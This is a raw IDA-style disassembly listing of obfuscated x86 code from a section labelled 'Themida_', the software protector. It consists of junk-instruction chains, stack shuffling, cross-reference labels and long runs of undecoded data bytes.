		dd 0BF243C89h, 5D8F7AD9h, 174DE9h, 0F9C78100h, 2928DF1Fh
		dd 0D8B8E9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	bh, 0D6h
		inc	bh
		shr	bh, 5
		shr	bh, 8
		jmp	loc_5F7335
; ---------------------------------------------------------------------------
		dw 525Bh
		dd 53414BBAh, 5AD00173h, 9F63B405h, 56F8291Dh, 0FFF0A9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FCFCD:				; CODE XREF: Themida_:0060137Cj
		add	ebx, 0C8EF7B46h
		sub	edi, ebx
		jmp	loc_5F8456
; ---------------------------------------------------------------------------
		dw 0B968h
		dd 0E95EB70Ch, 0FFFFA1A9h
dword_5FCFE4	dd 24048B66h, 81E38953h, 4C3h, 0DCBE5600h, 816AA315h, 0D11293EEh
					; DATA XREF: Themida_:005F67E0o
		dd 6E6C149h, 8FE9464Eh,	55000005h, 405D7BBDh, 0A9AE94Dh
		dd 34890000h, 38E95424h, 5DFFFFFCh, 5C240487h, 1C16E9h
		db 0
; ---------------------------------------------------------------------------


loc_5FD025:				; CODE XREF: Themida_:00602E03j
		push	edx
		mov	edx, 4
		jmp	loc_60276E
; ---------------------------------------------------------------------------
		dd 0D947642Dh, 5C8297Ch, 7CD94764h, 95253A2Dh, 2434FF62h
		dd 592434FFh, 0E9E68956h, 4179h, 2CFFB353h, 0E9D828DEh
		dd 2DDBh, 0E9240489h, 0FFFF98DFh, 5C240487h, 0AC68C201h
		dd 8900001Ch, 0EC812434h, 4, 0E9240C89h, 3123h,	8124148Bh
		dd 4C4h, 638B6800h, 0DEE90000h,	5CFFFFFAh, 0B3241C89h
		dd 83CBFEA6h, 148904ECh, 0F28CE924h, 1C89FFFFh,	2474FF24h
		dd 241C8B04h, 8F04C483h, 248B2404h, 0C896624h, 0B60F6624h
		dd 9C5166C8h, 0FF987AE9h, 240C8BFFh, 5004C483h,	0B951E089h
		dd 4, 8359C801h, 48704E8h, 4895C24h, 0F56DE924h, 8951FFFFh
		dd 4C181E1h, 0E9000000h, 19B2h,	8904EC83h, 67B82404h, 0E9E1E5E8h
		dd 0DF2h, 61E9F828h
		db 47h,	2 dup(0)
byte_5FD10F	db 0FFh			; DATA XREF: Themida_:005F67ACo
		dd 34FF2434h, 240C8B24h, 4C481h, 0E2E90000h, 81FFFFA5h
		dd 4E9h, 240C8700h, 241C895Ch, 0E950E389h, 543Dh, 83240C8Bh
		dd 0E95504C4h, 0FFFFD8A4h, 46B35366h, 5B66D828h, 39E9F828h
		dd 81000037h, 4C3h, 1E84E900h, 0E0E90000h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FD163:				; CODE XREF: Themida_:005FE516j
		mov	[esp], edx
		jmp	loc_5FED42
; ---------------------------------------------------------------------------
byte_5FD16B	db 0ADh			; DATA XREF: Themida_:005F683Co
		dd 0FF9EA0E9h, 8BCA01FFh, 0E9E9240Ch, 56FFFFC4h, 0CA5CC9BEh
		dd 5EF38973h, 41E9D331h, 81FFFFEEh, 13487BE9h, 81D9F70Ch
		dd 0EF4F67E9h, 59CE89BAh, 9ABF16BDh, 8BF50100h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5FDBBF
; ---------------------------------------------------------------------------
		dw 0C328h
		dd 28F4B450h, 1E958E3h,	89FFFFCCh, 0BA52243Ch, 13D301D3h
		dd 0F8E9D789h, 8100003Fh, 0F20ACCC2h, 4409E9E0h, 0EA210000h
		dd 0DF6CE95Dh, 0C89FFFFh, 0AD13E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FD1E6:				; CODE XREF: Themida_:00600681j
		mov	ebp, 40312A45h
		or	ebp, 54F12FD8h
		shl	ebp, 2
		push	ebp
		dec	dword ptr [esp]
		jmp	loc_5FC13E
; ---------------------------------------------------------------------------


loc_5FD1FD:				; CODE XREF: Themida_:005FC558j
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5F72A2
; ---------------------------------------------------------------------------


loc_5FD20E:				; CODE XREF: Themida_:005FA4EEj
		pop	ecx
		shl	eax, 5
		push	ebx
		mov	ebx, 386A7647h
		jmp	loc_5FCB9D
; ---------------------------------------------------------------------------


loc_5FD21D:				; CODE XREF: Themida_:00601733j
		push	ax
		mov	ah, 80h
		xor	dl, ah
		pop	ax
		jmp	loc_5FEDE2
; ---------------------------------------------------------------------------


loc_5FD22A:				; CODE XREF: Themida_:005F9888j
		mov	[esp], eax
		push	ebp
		push	457F3447h
		pop	ebp
		not	ebp
		jmp	loc_5FE281
; ---------------------------------------------------------------------------


loc_5FD23B:				; CODE XREF: Themida_:005FB54Dj
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5FCAB7
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 15AF7377h, 0E9D2F742h, 0C93h
off_5FD254	dd offset dword_623168	; DATA XREF: Themida_:005F67C8o
		dd 24148900h, 173CE953h, 148B0000h, 4C48324h, 3302EE83h
		dd 34312434h, 24343324h, 489665Ch, 96C5E924h, 0D5BAFFFFh
		dd 0C16C0D15h, 0B85003E2h, 650F300Ah, 1C025005h, 0E9C23116h
		dd 2B07h, 2285E951h, 0E9560000h, 575Dh
; ---------------------------------------------------------------------------


loc_5FD2A4:				; CODE XREF: Themida_:00602AA9j
		add	ecx, 1918368Ch
		jmp	loc_602729
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4C18100h, 51000000h, 42474FFh
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5FAA2E
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF9667h
dword_5FD2DC	dd 2BA92DADh, 43E97B24h		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FD2E7:				; CODE XREF: Themida_:00602853j
		pop	edi
		jmp	loc_5FE13A
; ---------------------------------------------------------------------------
		db 0BEh, 3Dh, 2Ch
		dd 0F68169F2h, 7220210Fh, 2014F681h, 0DE8766CCh, 0DE87D3F7h
		dd 0EEC1DEF7h, 1353E907h, 34FF0000h, 89505924h,	405E0h
		dd 0E9510000h, 0FFFFB608h, 5F545758h, 4A15E9h, 0C4835F00h
		dd 4BA5204h, 0E9000000h, 21Ah, 0D8BB5359h, 0C127CB14h
		dd 0A7E906E3h, 81FFFFA4h, 20EDC3h, 5BD901E0h, 19DFE9h
		dd 0C5015B00h, 5937C581h, 34FF7E32h, 24048B24h,	8304C483h
		dd 506804C4h, 89000063h, 4BE2434h, 1000000h, 2C335EF5h
		dd 495BE924h, 0E8010000h, 0E9242C8Bh, 0FFFFEB55h, 0D588FA88h
		dd 3962E9h, 0E2895200h,	373BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5FD39D:				; CODE XREF: Themida_:00601B4Ej
		pop	esp
		push	dword ptr [edi+eax*4]
		xor	dword ptr [esp], 23F736AEh
		jmp	loc_6003D1
; ---------------------------------------------------------------------------
byte_5FD3AD	db 57h,	89h, 0E7h	; DATA XREF: Themida_:005F67BCo
		dd 4C781h, 0EF810000h, 2, 8B243C87h, 89662424h,	0FF662404h
		dd 66022474h, 8124048Bh, 2C4h, 48F6600h, 0F22DE924h, 6664FFFFh
		dd 5CE90289h, 0B8FFFF95h, 4, 5937BB53h,	0DD297E32h, 0FFFF5CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FD3F9:				; CODE XREF: Themida_:0060156Cj
		mov	esi, ecx
		mov	ecx, [esp]
		jmp	loc_5F850B
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0EAC0EAD0h, 20EA8008h, 0E96CF280h, 4849h, 0B067E952h
		dd 2C8BFFFFh, 4C48324h,	2164E9h, 242C3100h, 5C242C33h
		dd 68243C89h, 4, 0FF9535E9h, 31C181FFh,	91FE4F2h, 6BE959CFh
		dd 0BEFFFFD7h, 4, 835EF101h, 0F1E902C1h, 5CFFFFDBh, 0BA241489h
		dd 4, 47E9D001h, 8F00003Ah, 665C2404h, 50240C89h, 47B538B4h
		dd 116FE9h, 23E95C00h, 55FFFFD1h, 637BB8BDh, 5DEE2954h
		dd 0FFA7C3E9h, 5AD531FFh, 0B508C581h, 0EF210A14h, 0FFF8A6E9h
		dd 38AE68FFh, 1C890000h, 1C8B5424h, 0E2895224h,	0FFEFC1E9h
		dd 0E9DBF7FFh, 4B75h, 24048F54h, 4BF57h, 7C010000h, 5CE90424h
		dd 6800003Eh, 4, 3999E9h, 0C0F58000h, 0FEDAED80h, 0E1CD80C5h
		dd 8811F580h, 0EBC059EBh, 0B755E903h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	[edi+1Ch], edx
		pop	edx
		jmp	loc_5F6943
; ---------------------------------------------------------------------------


loc_5FD507:				; CODE XREF: Themida_:005FDFAFj
		pop	ebx
		add	esi, 3EC93BFBh
		sub	esi, edi
		sub	esp, 4
		jmp	loc_6029F9
; ---------------------------------------------------------------------------


loc_5FD51B:				; CODE XREF: Themida_:005FACDBj
		push	esp
		jmp	loc_601E82
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 16DFE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FD52A:				; CODE XREF: Themida_:005FED57j
		mov	ebp, esp
		jmp	loc_5FA6DA
; ---------------------------------------------------------------------------


loc_5FD531:				; CODE XREF: Themida_:005FF4AFj
		mov	ecx, [esp]
		add	esp, 4
		xor	eax, ebx
		pop	ebx
		shl	eax, cl
		push	edx
		jmp	loc_5F8902
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 0E9h
		dd 5314h, 47CEE955h, 0D7010000h, 4ED7685Ah, 1C890000h
		dd 2BB24h, 83E90000h, 0C100003Eh, 0F18107E9h, 2D64A177h
		dd 0C159CE21h, 0E95002EEh, 0FFFFB4E3h, 5DEB295Bh, 0E9C2315Ah
		dd 0FFFFFD4Fh, 4EE81h, 34870000h, 0A93EE924h, 0EE83FFFFh
		dd 47E95701h
		db 19h,	2 dup(0)
byte_5FD59F	db 0FFh			; DATA XREF: Themida_:005F68C4o
		dd 669D1C77h, 24041858h, 9395E99Ch, 0C781FFFFh,	0C2CFE2D4h
		dd 0B1E9F901h, 0B1000037h, 1CE9801Bh, 0C085B252h, 0CA8003E2h
		dd 68CAFE17h, 0
		dd 25DE9h, 0CF685200h, 5A448D6Bh, 0FFEE41E9h, 0E5C681FFh
		dd 5683FC45h, 6156E3BEh, 681Bh,	34290000h, 0F6815E24h
		dd 0DC0FFA67h, 3E783305h, 2DF00163h, 633E7833h,	53C6055Eh
		dd 0F0290821h, 2153C62Dh, 7A685608h, 5E389153h,	0F93A7905h
		dd 2DF0297Bh, 7BF93A79h, 53575E5Eh, 65580CBBh, 32C38123h
		dd 89F8A811h, 0F7815BDFh, 41D42DF2h, 295FFB29h,	0CC6856C3h
		dd 5E5DD944h, 0FFC0C1E9h, 241489FFh, 0EAC04BB2h, 0CEE28007h
		dd 0CDFEEA86h, 0D2F6EA86h, 0C280DAF6h, 0FFD00016h, 535A2434h
		dd 5839E9h
		db 0
; ---------------------------------------------------------------------------


loc_5FD675:				; CODE XREF: Themida_:005FF280j
		mov	edi, edx
		jmp	loc_600FD5
; ---------------------------------------------------------------------------
		dd 5124048Bh, 0C181E189h, 4, 4C181h, 0C870000h,	0FF525C24h
		dd 5A042474h, 0FFAE60E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FD69D:				; CODE XREF: Themida_:005F8C8Cj
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_5F6943
; ---------------------------------------------------------------------------


loc_5FD6BB:				; CODE XREF: Themida_:005F96EDj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_6020A1
; ---------------------------------------------------------------------------
byte_5FD6C7	db 68h			; DATA XREF: Themida_:005F6754o
		dd 1E6Eh, 0E904EC83h, 4787h, 4B8h, 9FC58100h, 16D3052h
		dd 9FED81C5h, 586D3052h, 2C581h, 0FF550000h, 5D042474h
		dd 5C24048Fh, 210AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5FD6FD:				; CODE XREF: Themida_:005F81A7j
		sub	edx, ebx
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		shl	ebx, 4
		neg	ebx
		push	ecx
		mov	ecx, 4E40FC6h
		xor	ecx, 5AB53342h
		add	ecx, 53C5744h
		not	ecx
		sub	ecx, 73A2271Fh
		inc	ecx
		jmp	loc_5FDFED
; ---------------------------------------------------------------------------


loc_5FD72C:				; CODE XREF: Themida_:005F9B8Bj
		push	17D7h
		mov	[esp], edx
		jmp	loc_5F8DAB
; ---------------------------------------------------------------------------
		db 68h,	0C3h, 8
		dd 34890000h, 81E68924h, 4C6h, 4BD5500h, 51000000h, 0B09B7B9h
		dd 0EAC6813Ah, 0E927866Ch, 0FFFFF101h, 5204C483h, 42474FFh
		dd 0FFDBEFE9h, 56FA01FFh, 24183EBEh, 0E6C14E5Ch, 0B9514607h
		dd 44A4C93h, 0E0E94149h, 52FFFFFDh, 0C281E289h,	4, 8704C283h
		dd 72E92414h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5FD79B:				; CODE XREF: Themida_:005FB250j
		push	3D4h
		mov	[esp], ebx
		push	esp
		jmp	loc_5FDC43
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 0E9000000h, 0FFFFEB11h, 0C8BCA01h, 0E2895224h, 4C281h
		dd 0C2810000h, 4, 5C241487h, 2474FF52h,	4840E904h, 8B5B0000h
		dd 0BE9240Ch, 47FFFFF9h, 0CF81DFF7h, 2C956347h,	8705E7C1h
		dd 87D5F7EFh, 47BD55EFh, 0E95B9EECh, 38D4h, 4C381h, 0EB810000h
		dd 2, 0E904EC83h, 0FFFFF896h, 4240481h,	58000000h, 4B951h
		dd 0C8010000h, 0FFD032E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FD825:				; CODE XREF: Themida_:00601795j
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_5FCC0B
; ---------------------------------------------------------------------------
		dw 1428h
		dd 24148A24h, 8004C483h, 4AE94BEAh, 81FFFFE4h, 0B5285CC1h
		dd 81E9012Bh, 0B5285CE9h, 0C1835D2Bh, 240C8704h, 2404095Ch
		dd 90E1E99Ch, 0D5F7FFFFh, 0E9242C87h, 2B54h
dword_5FD86C	dd 24248B66h, 0FF90CEE9h, 0C1815DFFh, 4, 8B240C87h, 0C8012424h
					; DATA XREF: Themida_:005F68F8o
		dd 0F9C38159h, 50348E14h, 91FBF57h, 0F8897843h,	9F97E95Fh
		dd 315DFFFFh, 77895DEEh, 24348B24h, 4EC8355h, 81242489h
		dd 42404h, 815D0000h, 4C5h, 0AEAE900h, 0F9010000h, 0E9E9815Fh
		dd 50E6312Bh, 3502E9h
		db 0
; ---------------------------------------------------------------------------


loc_5FD8CD:				; CODE XREF: Themida_:005FFC89j
		xor	ebx, 0B0C0954h
		jmp	loc_5FCC03
; ---------------------------------------------------------------------------
		dd 2816B450h, 0C18058E2h, 0E9D100E7h, 0FFFFE8C1h
; ---------------------------------------------------------------------------


loc_5FD8E8:				; CODE XREF: Themida_:005F78D8j
		pop	esi
		or	eax, 12C14879h
		shl	eax, 3
		add	eax, 281F343Ch
		sub	esi, eax
		pop	eax
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		shr	eax, 5
		inc	eax
		jmp	loc_5F8A7E
; ---------------------------------------------------------------------------
		dw 2C33h
		dd 48F5C24h, 0F848E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FD916:				; CODE XREF: Themida_:005F7684j
		add	esp, 4


loc_5FD91C:				; CODE XREF: Themida_:005FF85Ej
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5F6E2E
; ---------------------------------------------------------------------------


loc_5FD93C:				; CODE XREF: Themida_:005FF945j
		inc	ebx
		sub	ebx, 92DCFC5Bh
		jmp	loc_5F7B9B
; ---------------------------------------------------------------------------


loc_5FD948:				; CODE XREF: Themida_:005FDEB6j
		push	ebx
		mov	ebx, 2374376Ah
		jmp	loc_5FED11
; ---------------------------------------------------------------------------
		db 89h
		dd 0E189240Ch, 0F396E955h, 0C281FFFFh, 4, 0C6BA5255h, 8979D334h
		dd 53E95AD5h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FD973:				; CODE XREF: Themida_:00601708j
		pop	esp
		push	edi
		mov	edi, 0EA14118h
		push	ebx
		mov	ebx, 4A2B127Ch
		sub	edi, ebx
		jmp	loc_5F8889
; ---------------------------------------------------------------------------
aIZsi		db 'Z=',0
		db 0
; ---------------------------------------------------------------------------


loc_5FD98F:				; CODE XREF: Themida_:005FC39Bj
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_5F7E6E
		push	dword ptr [edi+1Ch]
		jmp	loc_602EA8
; ---------------------------------------------------------------------------
word_5FD9A2	dw 8B66h		; DATA XREF: Themida_:005F66ECo
		dd 0D468240Ch, 8900004Eh, 0EC83241Ch, 24248904h, 4240483h
		dd 51241C8Bh, 0C181E189h, 4, 0A20E9h, 5BD82100h, 2D01E883h
		dd 4052013Eh, 3BFED81h,	0C5016B0Fh, 3BFC581h, 87586B0Fh
		dd 248B242Ch, 0BB0F6624h, 0E99C2404h, 4F7Bh
; ---------------------------------------------------------------------------


loc_5FD9F4:				; CODE XREF: Themida_:005FC8DCj
		push	7021h
		mov	[esp], eax
		jmp	loc_5F6D8B
; ---------------------------------------------------------------------------
		db 29h,	7Ch, 24h
		dd 555E5F04h, 0C14A40BDh, 0D9BB5329h, 1E2ACE5h,	0EE015BDDh
		dd 646685Dh, 34890000h,	34FF5B24h, 24348B24h, 8304C483h
		dd 0B36804C4h, 89000021h, 0BE56241Ch, 6666D70h,	0DDDE9h
		dd 4C18100h, 0E9000000h, 0FFFFC936h, 4C481h, 0EC830000h
		dd 241C8904h, 4EC81h, 31E90000h, 52FFFFDAh, 4BAh, 5AD60100h
		dd 8302C683h, 348904ECh, 2474FF24h, 2434FF04h, 0E789575Eh
		dd 371BE9h, 2434FF00h, 0A858E95Fh, 0E95DFFFFh, 353Bh, 405h
		dd 42D00h, 4870000h, 2C895C24h,	0E95D5424h, 0FFFFEC85h
		dd 0ADF9C581h, 0E929E131h, 1C2EE9h, 6DE95200h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5FDABF:				; CODE XREF: Themida_:005FCAD0j
		neg	ecx
		push	0
		jmp	loc_5F8EF8
; ---------------------------------------------------------------------------
		db 80h
		dd 0EC83F5CCh, 14896602h, 3047B624h, 148B66F4h,	2C48124h
		dd 0E9000000h, 0FFFFEDF9h
; ---------------------------------------------------------------------------


loc_5FDAE8:				; CODE XREF: Themida_:005FFB15j
		push	edi
		push	edx
		push	ebp
		mov	ebp, 645C2D69h
		mov	edx, 435A09AAh
		jmp	loc_5F9950
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 80C8C380h, 0EB8049C3h, 0DCB2E9F4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FDB0E:				; CODE XREF: Themida_:006022BFj
		pop	ebp
		inc	ecx
		jmp	loc_5FC787
; ---------------------------------------------------------------------------
		db 54h,	5Eh, 81h
		dd 4C6h, 556D6800h, 2C890000h, 65BE5624h, 891F4E2Dh, 45E95EF5h
		dd 57FFFFE6h, 0C781E789h, 4, 4EF81h, 24E90000h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FDB47:				; CODE XREF: Themida_:005FB0B5j
		pop	ecx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_5FCF0C
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5B0424h, 855C2404h, 0DCE99CC8h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FDB67:				; CODE XREF: Themida_:00602630j
		shl	ebx, 6
		add	ebx, 34A573D2h
		xor	edi, ebx
		jmp	loc_5F9D70
; ---------------------------------------------------------------------------


loc_5FDB77:				; CODE XREF: Themida_:005F8F1Aj
		add	edx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		jmp	loc_5F9287
; ---------------------------------------------------------------------------
		db 0B2h
		dd 8E2C085h, 0E2C0D2F6h, 0BBAAE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FDB96:				; CODE XREF: Themida_:00600B11j
		pop	dword ptr [esp]
		jmp	loc_5FF786
; ---------------------------------------------------------------------------
		dw 3489h
		dd 211E6824h, 4890000h,	19BF5724h, 0E90C6E30h, 0FFFFFE4Dh
; ---------------------------------------------------------------------------


loc_5FDBB4:				; CODE XREF: Themida_:005FC1ECj
		pop	eax
		add	eax, 4
		jmp	loc_5F7A62
; ---------------------------------------------------------------------------


loc_5FDBBF:				; CODE XREF: Themida_:005FD1A9j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		not	ebp
		push	ecx
		mov	ecx, 22886944h
		jmp	loc_6020E7
; ---------------------------------------------------------------------------
		dd 0E53FE958h, 91B8FFFFh, 0E90CD80Fh, 2338h, 42474FFh
		dd 24048F5Bh, 6624248Bh, 0E9240C89h, 0FFFF8D43h, 0B450DBF6h
		dd 3E4C022h, 0E9CCC480h, 445Eh,	0E2BAE95Bh, 5051FFFFh
		dd 0C72C66B8h, 127F050Bh, 0E8C15414h, 0D2F79206h, 31A63592h
		dd 70E91EAFh
		db 0E0h, 2 dup(0FFh)
byte_5FDC33	db 0FFh			; DATA XREF: Themida_:005F671Co
		dd 669D1C77h, 14D36659h, 0E99C24h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FDC43:				; CODE XREF: Themida_:005FD7A4j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_601C35
; ---------------------------------------------------------------------------
		dd offset dword_5BCA7C+6ECh
		dd 24348900h, 722D68h, 24248900h, 1ECAE9h, 0F6E95800h
		dd 1FFFF8Eh, 0E95A5DEBh, 0FFFFF790h, 2474FF55h,	9841E904h
		db 2 dup(0FFh)
word_5FDC8E	dw 0C8Bh		; DATA XREF: Themida_:005F687Co
		dd 0FAA3E924h, 0C89FFFFh, 39B85024h, 0F70DA96Fh, 90C22DD0h
		dd 0C189F256h, 0FFBC4AE9h, 1EC380FFh, 0C0B60F59h, 87048F66h
		dd 0FF8C86E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FDCBD:				; CODE XREF: Themida_:005F695Bj
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_5FC4AD
; ---------------------------------------------------------------------------
		db 25h
		dd 4CE81C59h, 0E903E0C1h, 2396h, 0C158585Fh, 0D6E904EFh
		dd 59FFFFBEh, 3E7EE81h,	0C6817F62h, 53902CB9h, 0EE81FE01h
		dd 53902CB9h, 28A8E950h, 81660000h, 6643C7C9h, 0D05EF181h
		dd 59CB2966h, 3C3EE9h, 1C8B5C00h, 4C48324h, 437AE9h, 7C78000h
		dd 285BF800h, 8BC62CE8h, 0C481240Ch, 4,	0F58C328h, 50E9C0B6h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5FDD37:				; CODE XREF: Themida_:005F7DF6j
		pop	edx
		shl	ecx, 8
		dec	ecx
		and	ecx, 5DE118EBh
		jmp	loc_5FE943
; ---------------------------------------------------------------------------
		db 46h
		dd 0EEC1DEF7h, 5039E903h, 0C3810000h, 4, 0FFF03BE9h, 4C683FFh
		dd 5C243487h, 0D7B25250h, 88F3C280h, 0E514E9D4h, 895EFFFFh
		dd 0BD2D59CFh, 51D7B6Ch, 2B9822C9h, 0C92DF829h,	52B9822h
		dd 1D7B6CBDh, 10CFE9h
		db 0
byte_5FDD91	db 66h,	8Bh, 4		; DATA XREF: Themida_:005F6660o
aHI		db '$hi',0
		align 2
		dw 2C89h
		dd 50E58924h, 0FFB8CAE9h, 1FB151FFh, 0CBE94DB7h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FDDAF:				; CODE XREF: Themida_:005F6D55j
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		push	ebx
		jmp	loc_5FBE84
; ---------------------------------------------------------------------------
		db 50h
		dd 2436A368h, 24048B1Ah, 28D768h, 240C8900h, 0BA525954h
		dd 44E84B27h, 72D9CA81h, 814A1C0Dh, 384249E2h, 20E2814Ah
		dd 813FE76Bh, 0DFBE04C2h, 98DDE9F7h, 0E689FFFFh, 4C681h
		dd 0C6830000h, 24348704h, 0EC81575Ch, 4, 4860E9h
		db 0
; ---------------------------------------------------------------------------


loc_5FDE11:				; CODE XREF: Themida_:005F9DDCj
		add	[esp+4], edx
		sub	dword ptr [esp+4], 62EC7CD7h
		jmp	loc_5F8383
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 9545166Ah, 2154C581h, 0F52926EFh, 2154ED81h,	348B26EFh
		dd 4C48324h, 56EE8956h,	0FFD1DFE9h, 8CBE56FFh, 81354519h
		dd 6F2315E6h, 0E0CE8142h, 81598545h, 3ABA20C6h,	0E3CE9A6h
		dd 835D0000h, 0F4E904C7h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FDE6B:				; CODE XREF: Themida_:005FAFC7j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5F6943
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 1107EF81h, 814F0309h, 535F0CCFh, 0CBEF8155h,	1DE47C0h
		dd 0C2815FFEh, 71275069h, 0FF8BCFE9h, 48F58FFh,	24248B24h
		dd 0FF9652E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FDEB1:				; CODE XREF: Themida_:00600723j
		mov	eax, 40980B11h
		jmp	loc_5FD948
; ---------------------------------------------------------------------------
		db 5Dh
		dd 6251F581h, 0EB092CCBh, 0FBF3815Dh, 836F0D38h, 0C381FFEBh
		dd 9D4711A4h, 895BDE29h, 24348BF0h, 4C481h, 5CE90000h
		dd 81FFFF8Ah, 4BE203C2h, 5AD12946h, 512568h, 0A947E900h
		dd 0BE56FFFFh, 624407A9h, 26B4F681h, 0F3291C46h, 0B95CE95Eh
		dd 0D528FFFFh, 8B7DC580h, 0C4832414h, 7EDC004h,	8904EC83h
		dd 0A5B22414h, 0FE3EE280h, 7EAC0C2h, 0E9FFC280h, 0FFFFBCC5h
		dd 4C481h, 69E90000h, 5BFFFFCCh, 2B8505Ah, 2D04227Dh, 5791131Dh
		dd 502E0C1h, 1,	0A7903548h, 0C201B245h,	2EA8358h, 8B241487h
		dd 89662424h, 0D4E92404h, 5BFFFF89h, 5F2434FFh,	525D5455h
		dd 0FFF301E9h
		db 0FFh
aN1HS		db '1hS',0           ; DATA XREF: Themida_:005F67FCo
		dd 242C8900h, 54E16856h, 895E2BE7h, 24348BF5h, 0F704C483h
		dd 14F755D5h, 242C8B24h, 0CEE95457h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5FDFA7:				; CODE XREF: Themida_:005FA19Bj
		push	ebx
		mov	ebx, 0E7C36687h
		mov	edi, ebx
		jmp	loc_5FD507
; ---------------------------------------------------------------------------
		dd 240C875Dh, 6624248Bh, 8124048Bh, 4ECh, 0E541E900h, 0F281FFFFh
		dd 0A95F1196h, 15AD729h, 243C8BFBh, 8104C483h, 8E14F9EBh
		dd 3B2AE934h, 0D8F70000h, 4FAEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5FDFED:				; CODE XREF: Themida_:005FD727j
		push	ebp
		mov	ebp, 0DF0214D7h
		add	ecx, ebp
		pop	ebp
		jmp	loc_601AB4
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0BD55D029h, 0F41342Dh, 0E95DE829h, 0FFFFA6F4h, 0E9243C33h
		dd 0FFFFCA00h, 83243C8Bh, 0BF5704C4h, 5D20BA2h,	37E9E7D1h
		dd 81000001h, 0FD78EFEAh, 1936E96Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FE032:				; CODE XREF: Themida_:00602418j
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5F72DA
; ---------------------------------------------------------------------------


loc_5FE042:				; CODE XREF: Themida_:00600887j
		pop	edi
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		xchg	edi, edx
		shl	edx, 2
		dec	edx
		not	edx
		and	edx, 66DB138Eh
		sub	edx, 4EBEA10Bh
		sub	eax, edx
		pop	edx
		jmp	loc_5F7D47
; ---------------------------------------------------------------------------
		db 80h,	0C1h, 0C2h
		dd 0F659CA28h, 83C2FED2h, 896602ECh, 0D188240Ch, 14F65166h
		dd 0C8B6624h, 2C48324h,	0FFDE1FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FE089:				; CODE XREF: Themida_:005FEC36j
		pop	esi
